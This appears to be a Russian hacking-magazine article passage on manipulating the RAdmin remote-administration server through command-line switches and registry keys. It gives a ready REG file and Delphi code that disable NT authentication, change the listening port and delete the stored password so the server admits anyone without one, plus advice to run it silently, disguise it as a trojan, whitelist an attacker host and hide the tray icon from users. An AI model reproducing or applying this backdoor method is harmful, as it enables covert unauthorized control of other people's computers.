Командная строка
Кто в дверь выбегает, кто в окно вылезает, кто через плетень скачет.
Еще одна возможность RAdmin’а – использование ключей командной строки при запуске сервера
(r_server.exe). Тут появляется еще одна особенность программы. Те, кто долго игрался с настройками различных параметров через «гуевый» интерфейс, знают, что при задании определенных значений существуют некоторые ограничения, например, нельзя задать пароль длиной меньше восьми символов, или тайм-аут больше 999 секунд. Проверим, так ли это в командной строке. И выясняется, что, например, команда
r_server /pass:1 /save /silence отлично срабатывает, несмотря на ограничения интерфейса. Минуту, а как же номер порта? В соответствии со стандартами, номер порта TCP-пакета не может превышать значение 65535. Пробуем – r_server /port:65536 /save /silence - не получается (значение «0» тоже не проходит, можешь поверить мне на слово). А если попробовать через реестр ? Тоже не получается, при указании значения, большего ff ff 00 00, номер порта остается равным 65535. Жаль …
Кодинг
Все хотят идти на подмогу. Лишь один Мальчиш-Плохиш захотел идти в буржуинство.
Перейдем к пункту, ради которого, собственно, и затевалась вся каша – к выводам и реализации. Сначала выясним полезности использования ключей реестра с точки зрения админов. Например, параметр Hide Tray Icon. Бывает так, что после установки операционной системы на новый компьютер (и внедрения на него RAdmin’а) этот параметр поставить забыли, при этом по иконке в трее юзер палит, подсматривает за ним админ или нет. Достаточно исправить данный ключик реестра, и время твоего подключения к компу останется для юзера вечной тайной. Слышу многочисленные «га .. га … га», «гы … гы … гы». Вот более серьезный пример – для одновременного применения фильтрации обращений по IP можно использовать параметр IP Filter и значения, находящиеся в разделе iplist. Это полезно, например, при смене IP-адреса компьютера, с которого необходимо осуществлять удаленное управление. Примененный через GPO (при наличии домена), этот ключ практически мгновенно обеспечивает применение фильтрации на определенные группы компьютеров (или на весь домен). Чего уж там говорить о возможности удаленно включать и выключать ведение журналов и прочие фишки. Теперь поговорим о тех, кого в начале мы обозвали «прыщавыми юнцами». Для них возможность управлять поведением RAdmin’а – просто праздник. Выключение журнализации, добавление определенных строк в IP Filter (естественно, строк, разрешающих управление с evilhost.com
:)), и прочие полезности. Также приведу несколько примеров. Во-первых, это, конечно, удаление ключа с паролем из реестра и возможность входа на целевую систему без ввода пароля (и куда только ребята из Famatech смотрели). Во-вторых, это возможность изменения механизмов авторизации. В-третьих … да очень долго перечислять, ты сам все знаешь. Попробуй, к примеру, изменить название log-файла RAdmin на стандартное имя в файловой системе (например, PRN
:)), при наличии ключа TimeOut и включенной опции Auto Allow After TimeOut задай тайм-аут … ну ОООООЧЕНЬ большим (интересно, насколько у админов терпения хватит), и так далее. Как менять значения ключей? Это можно делать несколькими способами – через готовые REG-файлы, ил из прикладных программ. Рассмотрим REG-файл, с помощью которого можно отключить механизм авторизации через NT, изменить порт, на котором «слушает» RAdmin и удалить ключ, хранящий шифрованный пароль.
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters]
"NTAuthEnabled"=hex:00,00,00,00
"Port"=hex:23,23,00,00
"Parameter"=-
Напомню, что при стандартном выполнении REG-файла Windows выдает диалоговое окно. Чтобы его избежать, необходимо запускать файл следующим образом: regedit /s radmin.reg. Комбинируя различные параметры, ты сумеешь полностью управлять поведением
RAdmin. Однако использование REG-файлов – не единственная возможность. Гораздо круче редактировать необходимые параметры из исполняемой программы (ведь ее можно подсадить как троянского коня, верно
:)). Напишем небольшую демонстрационную программу, записывающую в реестр нужные нам значения ключа. В целях экономии времени кодить будем в
Delphi. Создадим новый проект. Функции работы с реестром определены в Delphi в библиотеке Registry, которую мы руками прописываем в объявление
uses.
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Registry;
Далее, объявляем переменную, идентифицирующую наш локальный реестр:
var
Form1: TForm1;
Reg:TRegistry;
Добавляем переменные и методы для создания экземпляра класса TRegistry при запуске программы (событие TForm1.OnCreate) и его удаления при выходе (событие TForm1.OnClose).
procedure TForm1.FormCreate(Sender: TObject);
begin
Reg:=TRegistry.Create;
end;
procedure TForm1.FormClose(Sender: TObject; var Action: TCloseAction);
begin
Reg.Free;
end;
В принципе, к операциям с реестром все готово. Зададим интересующий нас корневой ключ реестра:
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Теперь создадим кнопку btnDeletePsw для удаления значения параметра Parameter раздела SYSTEM\RAdmin\v2.0\Server\Parameters. В обработчике этой кнопки пишем код, отвечающий за удаление ключа
procedure TForm1.btnDeletePswClick(Sender: TObject);
begin
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.Access:=KEY_WRITE;
Reg.OpenKey('SYSTEM\RAdmin\v2.0\Server\Parameters\', False);
Reg.DeleteValue('Parameter');
end;
Ключ реестра удален, и теперь RAdmin пустит удаленного пользователя без пароля.
Попробуем программно задать номер порта для RAdmin. Создадим на форме еще одну кнопку – btnSetPort и текстовое значение sPort, в которое занесем требуемый номер порта. В реестре за номер порта отвечает значение типа REG_BINARY, соответственно, нам придется использовать метод WriteBinaryData.
procedure TForm1.btnSetPortClick(Sender: TObject);
Var
s:Integer;
begin
Reg.RootKey:=HKEY_LOCAL_MACHINE;
Reg.Access:=KEY_WRITE;
I:=Reg.OpenKey('SYSTEM\RAdmin\v2.0\Server\Parameters\', False);
s:=StrToInt(sPort.Text);
Reg.WriteBinaryData('Port',s,SizeOf(s));
end;
Итак, номер порта изменился, и компьютер с нетерпением ждет новых хозяев.
Пользуясь приведенными выше методами, можно вытворять над программой RAdmin любые возможные действия. В идеальном варианте законченная программа должна представлять собой приложение без графического интерфейса, выполняющееся в контексте учетной записи с соответствующими правами, ожидающее сетевых пакетов с управляющей информацией на определенный порт (например, 666/ udp) и незаметно модифицирующая реестр с параметрами для RAdmin’а. Нравится???
Напоследок ложка дегтя. Системные разрешения на доступ к ключам реестра, которые мы рассмотрели, достаточно строгие – доступ к ним по умолчанию имеют только члены группы Administrators и учетная запись SYSTEM (LocalSystem). Не спрашивай меня как подсунуть юзеру REG-файл или получить системные привилегии для запуска приведенной программы – я не смогу тебе ответить …
Литература
Плывут пароходы – привет Мальчишу!
При подготовке этой статьи было использовано огромное количество чистой белой бумаги (особенно много ушло на распечатку различного рода значений типа REG_BINARY), а также множество ссылок и справочных руководств. В частности, весьма порадовал форум у производителя
http://www.famatech.com/ru/support/forum/list.php?FID=13, где пользователи слезно умоляют сотрудников технической поддержки компании научить их, как поломать RAdmin. Далее идет форум
http://www.dore.ru/perl/nntp.pl?f=1&gid=20&mid=45316, где сам
великий 3APA3A рассуждает о премудростях алгоритма BlowFish, тематическая дискуссия на OpenNet.ru
(http://www.opennet.ru/opennews/art.shtml?num=3429) и вслед за ним куча «кулхацкерских» сайтов, обсуждающих тот же вопрос.При написании программного кода использовался справочник по функциям работы с реестром из Delphi, взятый на
http://blackman.wp-club.net/lection/registry.php.
В заключение хочу заметить, что существует по крайней мере два альтернативных клиента, имеющих возможность соединяться с серверами RAdmin. Это Radmin Client (брать по адресу
http://www.volmsoft.com/radminclient_c.html), и RNimda
(http://www.phil-lmi.dole.gov.ph/lmi/Rnimda.exe). Если первая программа предназначена непосредственно для повышения удобства работы системных администраторов, то вторая явно предназначена для заливки и выполнения на удаленной системе определенного (злонамеренного) кода. К счастью
непосредственно пароль на доступ к серверной части Remote Administrator она не ломает, поэтому для успешного осуществления атаки все равно необходимо знать пароль.
Кроме того, некоторое время назад в Интернет и средствах массовой информации промелькнула информация об атаке на клиентов хостинга PETERHOST.RU, на которых была установлена программа RAdmin (почитать об этом можно, например, здесь
http://www.securityfocus.com/archive/1/354515/2004-02-16/2004-02-22/2). После этого слухи о принципиальной уязвимости RAdmin’a некоторое время широко обсуждались сетевой общественностью, а компания FAMATECH даже объявила конкурс на взлом доступного из Интернет узла с установленной программой RAdmin
(test.radmin.com). Насколько мне известно, попытки взлома этого узла так и не увенчались успехом.
Все.
P.S.: В следующий раз мы попробуем пощупать Remote Administrator c точки зрения генерируемого им сетевого трафика, более подробно остановиться на механизмах авторизации, а также разобраться с другими средствами удаленного управления. Если у тебя есть КРЕАТИВНЫЕ идеи на эту тему, пиши на
sd___@inbox.ru.